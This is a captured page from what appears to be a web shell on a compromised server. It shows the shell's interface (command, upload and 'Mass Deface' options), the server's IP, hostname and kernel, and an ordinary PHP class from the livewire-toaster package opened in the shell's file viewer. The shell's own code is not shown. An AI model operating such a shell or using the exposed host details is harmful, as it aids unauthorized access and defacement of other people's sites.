���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
masmerise
/
livewire-toaster
/
src
/
Viewing: PendingToast.php
<?php declare(strict_types=1); namespace Masmerise\Toaster; use Illuminate\Support\Traits\ForwardsCalls; /** * @method PendingToast duration(int $milliseconds) * @method PendingToast error() * @method PendingToast info() * @method PendingToast message(string $message, array $replace = []) * @method PendingToast success() * @method PendingToast type(string $type) * @method PendingToast unless($value = null, callable $callback = null, callable $default = null) * @method PendingToast warning() * @method PendingToast when($value = null, callable $callback = null, callable $default = null) */ final class PendingToast { use ForwardsCalls; private ToastBuilder $builder; private bool $dispatched = false; private function __construct(int $duration) { $this->builder = ToastBuilder::create()->duration($duration); } public static function create(): self { return new self(Toaster::config()->duration); } public function dispatch(): void { $toast = $this->builder->get(); Toaster::collect($toast); $this->dispatched = true; } public function __call(string $name, array $arguments): mixed { $result = $this->forwardCallTo($this->builder, $name, $arguments); if ($result instanceof ToastBuilder) { $this->builder = $result; return $this; } return $result; } public function __destruct() { if (! $this->dispatched) { $this->dispatch(); } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa